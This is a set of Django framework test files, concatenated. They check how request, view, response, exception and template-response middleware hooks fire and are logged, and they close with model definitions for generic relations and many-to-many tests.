        self.assert_exceptions_handled('/middleware_exceptions/not_found/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, True)
        self.assert_middleware_usage(middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_exception_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        middleware = ExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_request_middleware_exception(self):
        pre_middleware = TestMiddleware()
        middleware = RequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_middleware_exception(self):
        pre_middleware = TestMiddleware()
        middleware = ViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_middleware_exception(self):
        pre_middleware = TestMiddleware()
        middleware = ResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', ['Error in view'], Exception())

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, True)
        self.assert_middleware_usage(middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_exception_middleware_exception(self):
        pre_middleware = TestMiddleware()
        middleware = ExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_request_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        middleware = RequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/null_view/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        middleware = ViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/null_view/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        middleware = ResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled(
            '/middleware_exceptions/null_view/', [
                "The view middleware_exceptions.views.null_view didn't return "
                "an HttpResponse object. It returned None instead."
            ],
            ValueError()
        )

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_exception_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        middleware = ExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled(
            '/middleware_exceptions/null_view/', [
                "The view middleware_exceptions.views.null_view didn't return "
                "an HttpResponse object. It returned None instead."
            ],
            ValueError()
        )

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_request_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        middleware = RequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        middleware = ViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        middleware = ResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, True)
        self.assert_middleware_usage(middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_exception_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        middleware = ExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_template_response_error(self):
        middleware = TestMiddleware()
        self._add_middleware(middleware)
        self.assert_exceptions_handled('/middleware_exceptions/template_response_error/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(middleware, True, True, True, True, False)

    def test_templateresponse_from_process_view_rendered(self):
        view_middleware = TemplateResponseViewMiddleware()
        # ContentAccessingResponseMiddleware tries to access response.content
        # in its process_response().
        post_middleware = ContentAccessingResponseMiddleware()
        self._add_middleware(view_middleware)
        self._add_middleware(post_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [])
        self.assert_middleware_usage(view_middleware, True, True, True, True, False)
        self.assert_middleware_usage(post_middleware, True, True, True, True, False)

    def test_templateresponse_from_process_view_passed_to_template_response_middleware(self):
        """
        TemplateResponses returned from process_view() should be passed to any
        process_template_response().
        """
        view_middleware = TemplateResponseViewMiddleware()
        resp_middleware = TemplateResponseMiddleware()
        self._add_middleware(view_middleware)
        self._add_middleware(resp_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [])
        self.assert_middleware_usage(view_middleware, True, True, True, True, False)
        self.assert_middleware_usage(resp_middleware, True, True, True, True, False)


class BadMiddlewareTests(BaseMiddlewareExceptionTest):

    def test_process_request_bad_middleware(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadRequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', ['Test Request Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_bad_middleware(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', ['Test View Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_template_response_bad_middleware(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadTemplateResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled(
            '/middleware_exceptions/template_response/',
            ['Test Template Response Exception']
        )

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, True, True, False)
        self.assert_middleware_usage(post_middleware, True, True, True, True, False)

    def test_process_response_bad_middleware(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', ['Test Response Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, False, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_exception_bad_middleware(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_request_bad_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadRequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', ['Test Request Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_bad_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', ['Test View Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_bad_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', ['Test Response Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, False, True)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_exception_bad_middleware_not_found(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/not_found/', ['Test Exception Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_request_bad_middleware_exception(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadRequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', ['Test Request Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_bad_middleware_exception(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', ['Test View Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_bad_middleware_exception(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', ['Error in view', 'Test Response Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, False, True)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_exception_bad_middleware_exception(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/error/', ['Test Exception Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_request_bad_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadRequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/null_view/', ['Test Request Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_bad_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/null_view/', ['Test View Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_bad_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled(
            '/middleware_exceptions/null_view/', [
                "The view middleware_exceptions.views.null_view didn't return "
                "an HttpResponse object. It returned None instead.",
                'Test Response Exception'
            ]
        )

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, False, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_exception_bad_middleware_null_view(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled(
            '/middleware_exceptions/null_view/', [
                "The view middleware_exceptions.views.null_view didn't return "
                "an HttpResponse object. It returned None instead."
            ],
            ValueError()
        )

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_request_bad_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadRequestMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', ['Test Request Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, False, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, False, False, True, False)
        self.assert_middleware_usage(post_middleware, False, False, False, True, False)

    def test_process_view_bad_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadViewMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', ['Test View Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, False, False, True, False)

    def test_process_response_bad_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', ['Test Response Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, False, True)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_exception_bad_middleware_permission_denied(self):
        pre_middleware = TestMiddleware()
        bad_middleware = BadExceptionMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(bad_middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/permission_denied/', ['Test Exception Exception'])

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(bad_middleware, True, True, False, True, True)
        self.assert_middleware_usage(post_middleware, True, True, False, True, True)

    def test_process_response_no_response_middleware(self):
        pre_middleware = TestMiddleware()
        middleware = NoResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled('/middleware_exceptions/view/', [
            "NoResponseMiddleware.process_response didn't return an HttpResponse object. It returned None instead."
        ],
            ValueError())

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, False, False)
        self.assert_middleware_usage(middleware, True, True, False, True, False)
        self.assert_middleware_usage(post_middleware, True, True, False, True, False)

    def test_process_template_response_no_response_middleware(self):
        pre_middleware = TestMiddleware()
        middleware = NoTemplateResponseMiddleware()
        post_middleware = TestMiddleware()
        self._add_middleware(post_middleware)
        self._add_middleware(middleware)
        self._add_middleware(pre_middleware)
        self.assert_exceptions_handled(
            '/middleware_exceptions/template_response/', [
                "NoTemplateResponseMiddleware.process_template_response didn't "
                "return an HttpResponse object. It returned None instead."
            ],
            ValueError()
        )

        # Check that the right middleware methods have been invoked
        self.assert_middleware_usage(pre_middleware, True, True, False, True, False)
        self.assert_middleware_usage(middleware, True, True, True, True, False)
        self.assert_middleware_usage(post_middleware, True, True, True, True, False)


@ignore_warnings(category=RemovedInDjango20Warning)
@override_settings(
    MIDDLEWARE_CLASSES=['django.middleware.common.CommonMiddleware'],
    MIDDLEWARE=None,
)
class MiddlewareNotUsedMiddlewareClassesTests(MiddlewareNotUsedTests):
    pass












from django.conf import settings
from django.core.exceptions import MiddlewareNotUsed
from django.test import RequestFactory, SimpleTestCase, override_settings
from django.test.utils import patch_logger

from . import middleware as mw


@override_settings(ROOT_URLCONF='middleware_exceptions.urls')
class MiddlewareTests(SimpleTestCase):
    def tearDown(self):
        mw.log = []

    @override_settings(MIDDLEWARE=['middleware_exceptions.middleware.ProcessViewNoneMiddleware'])
    def test_process_view_return_none(self):
        response = self.client.get('/middleware_exceptions/view/')
        self.assertEqual(mw.log, ['processed view normal_view'])
        self.assertEqual(response.content, b'OK')

    @override_settings(MIDDLEWARE=['middleware_exceptions.middleware.ProcessViewMiddleware'])
    def test_process_view_return_response(self):
        response = self.client.get('/middleware_exceptions/view/')
        self.assertEqual(response.content, b'Processed view normal_view')

    @override_settings(MIDDLEWARE=[
        'middleware_exceptions.middleware.ProcessViewTemplateResponseMiddleware',
        'middleware_exceptions.middleware.LogMiddleware',
    ])
    def test_templateresponse_from_process_view_rendered(self):
        """
        TemplateResponses returned from process_view() must be rendered before
        being passed to any middleware that tries to access response.content,
        such as middleware_exceptions.middleware.LogMiddleware.
        """
        response = self.client.get('/middleware_exceptions/view/')
        self.assertEqual(response.content, b'Processed view normal_view\nProcessViewTemplateResponseMiddleware')

    @override_settings(MIDDLEWARE=[
        'middleware_exceptions.middleware.ProcessViewTemplateResponseMiddleware',
        'middleware_exceptions.middleware.TemplateResponseMiddleware',
    ])
    def test_templateresponse_from_process_view_passed_to_process_template_response(self):
        """
        TemplateResponses returned from process_view() should be passed to any
        template response middleware.
        """
        response = self.client.get('/middleware_exceptions/view/')
        expected_lines = [
            b'Processed view normal_view',
            b'ProcessViewTemplateResponseMiddleware',
            b'TemplateResponseMiddleware',
        ]
        self.assertEqual(response.content, b'\n'.join(expected_lines))

    @override_settings(MIDDLEWARE=['middleware_exceptions.middleware.TemplateResponseMiddleware'])
    def test_process_template_response(self):
        response = self.client.get('/middleware_exceptions/template_response/')
        self.assertEqual(response.content, b'template_response OK\nTemplateResponseMiddleware')

    @override_settings(MIDDLEWARE=['middleware_exceptions.middleware.LogMiddleware'])
    def test_view_exception_converted_before_middleware(self):
        response = self.client.get('/middleware_exceptions/permission_denied/')
        self.assertEqual(mw.log, [(response.status_code, response.content)])
        self.assertEqual(response.status_code, 403)

    @override_settings(MIDDLEWARE=['middleware_exceptions.middleware.ProcessExceptionMiddleware'])
    def test_view_exception_handled_by_process_exception(self):
        response = self.client.get('/middleware_exceptions/error/')
        self.assertEqual(response.content, b'Exception caught')

    @override_settings(MIDDLEWARE=[
        'middleware_exceptions.middleware.ProcessExceptionLogMiddleware',
        'middleware_exceptions.middleware.ProcessExceptionMiddleware',
    ])
    def test_response_from_process_exception_short_circuits_remainder(self):
        response = self.client.get('/middleware_exceptions/error/')
        self.assertEqual(mw.log, [])
        self.assertEqual(response.content, b'Exception caught')

    @override_settings(MIDDLEWARE=[
        'middleware_exceptions.middleware.LogMiddleware',
        'middleware_exceptions.middleware.NotFoundMiddleware',
    ])
    def test_exception_in_middleware_converted_before_prior_middleware(self):
        response = self.client.get('/middleware_exceptions/view/')
        self.assertEqual(mw.log, [(404, response.content)])
        self.assertEqual(response.status_code, 404)

    @override_settings(MIDDLEWARE=['middleware_exceptions.middleware.ProcessExceptionMiddleware'])
    def test_exception_in_render_passed_to_process_exception(self):
        response = self.client.get('/middleware_exceptions/exception_in_render/')
        self.assertEqual(response.content, b'Exception caught')


@override_settings(ROOT_URLCONF='middleware_exceptions.urls')
class RootUrlconfTests(SimpleTestCase):

    @override_settings(ROOT_URLCONF=None)
    def test_missing_root_urlconf(self):
        # Removing ROOT_URLCONF is safe, as override_settings will restore
        # the previously defined settings.
        del settings.ROOT_URLCONF
        with self.assertRaises(AttributeError):
            self.client.get("/middleware_exceptions/view/")


class MyMiddleware(object):

    def __init__(self, get_response=None):
        raise MiddlewareNotUsed

    def process_request(self, request):
        pass


class MyMiddlewareWithExceptionMessage(object):

    def __init__(self, get_response=None):
        raise MiddlewareNotUsed('spam eggs')

    def process_request(self, request):
        pass


@override_settings(
    DEBUG=True,
    ROOT_URLCONF='middleware_exceptions.urls',
    MIDDLEWARE=['django.middleware.common.CommonMiddleware'],
)
class MiddlewareNotUsedTests(SimpleTestCase):

    rf = RequestFactory()

    def test_raise_exception(self):
        request = self.rf.get('middleware_exceptions/view/')
        with self.assertRaises(MiddlewareNotUsed):
            MyMiddleware().process_request(request)

    @override_settings(MIDDLEWARE=['middleware_exceptions.tests.MyMiddleware'])
    def test_log(self):
        with patch_logger('django.request', 'debug') as calls:
            self.client.get('/middleware_exceptions/view/')
        self.assertEqual(len(calls), 1)
        self.assertEqual(
            calls[0],
            "MiddlewareNotUsed: 'middleware_exceptions.tests.MyMiddleware'"
        )

    @override_settings(MIDDLEWARE=['middleware_exceptions.tests.MyMiddlewareWithExceptionMessage'])
    def test_log_custom_message(self):
        with patch_logger('django.request', 'debug') as calls:
            self.client.get('/middleware_exceptions/view/')
        self.assertEqual(len(calls), 1)
        self.assertEqual(
            calls[0],
            "MiddlewareNotUsed('middleware_exceptions.tests.MyMiddlewareWithExceptionMessage'): spam eggs"
        )

    @override_settings(DEBUG=False)
    def test_do_not_log_when_debug_is_false(self):
        with patch_logger('django.request', 'debug') as calls:
            self.client.get('/middleware_exceptions/view/')
        self.assertEqual(len(calls), 0)






from __future__ import unicode_literals

from django.http import Http404, HttpResponse
from django.template import engines
from django.template.response import TemplateResponse

log = []


class BaseMiddleware(object):
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request):
        return self.get_response(request)


class ProcessExceptionMiddleware(BaseMiddleware):
    def process_exception(self, request, exception):
        return HttpResponse('Exception caught')


class ProcessExceptionLogMiddleware(BaseMiddleware):
    def process_exception(self, request, exception):
        log.append('process-exception')


class ProcessExceptionExcMiddleware(BaseMiddleware):
    def process_exception(self, request, exception):
        raise Exception('from process-exception')


class ProcessViewMiddleware(BaseMiddleware):
    def process_view(self, request, view_func, view_args, view_kwargs):
        return HttpResponse('Processed view %s' % view_func.__name__)


class ProcessViewNoneMiddleware(BaseMiddleware):
    def process_view(self, request, view_func, view_args, view_kwargs):
        log.append('processed view %s' % view_func.__name__)
        return None


class ProcessViewTemplateResponseMiddleware(BaseMiddleware):
    def process_view(self, request, view_func, view_args, view_kwargs):
        template = engines['django'].from_string('Processed view {{ view }}{% for m in mw %}\n{{ m }}{% endfor %}')
        return TemplateResponse(request, template, {'mw': [self.__class__.__name__], 'view': view_func.__name__})


class TemplateResponseMiddleware(BaseMiddleware):
    def process_template_response(self, request, response):
        response.context_data['mw'].append(self.__class__.__name__)
        return response


class LogMiddleware(BaseMiddleware):
    def __call__(self, request):
        response = self.get_response(request)
        log.append((response.status_code, response.content))
        return response


class NotFoundMiddleware(BaseMiddleware):
    def __call__(self, request):
        raise Http404('not found')






from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models


class Award(models.Model):
    name = models.CharField(max_length=25)
    object_id = models.PositiveIntegerField()
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    content_object = GenericForeignKey()


class AwardNote(models.Model):
    award = models.ForeignKey(Award, models.CASCADE)
    note = models.CharField(max_length=100)


class Person(models.Model):
    name = models.CharField(max_length=25)
    awards = GenericRelation(Award)


class Book(models.Model):
    pagecount = models.IntegerField()


class Toy(models.Model):
    name = models.CharField(max_length=50)


class Child(models.Model):
    name = models.CharField(max_length=50)
    toys = models.ManyToManyField(Toy, through='PlayedWith')


class PlayedWith(models.Model):
    child = models.ForeignKey(Child, models.CASCADE)
    toy = models.ForeignKey(Toy, models.CASCADE)
    date = models.DateField(db_column='date_col')


class PlayedWithNote(models.Model):
    played = models.ForeignKey(PlayedWith, models.CASCADE)
    note = models.TextField()


class Contact(models.Model):
    label = models.CharField(max_length=100)


class Email(Contact):
    email_address = models.EmailField(max_length=100)


class Researcher(models.Model):
    contacts = models.ManyToManyField(Contact, related_name="research_contacts")


class Food(models.Model):
    name = models.CharField(max_length=20, unique=True)


class Eaten(models.Model):
    food = models.ForeignKey(Food, models.CASCADE, to_field="name")
    meal = models.CharField(max_length=20)


# Models for #15776


class Policy(models.Model):
    policy_number = models.CharField(max_length=10)


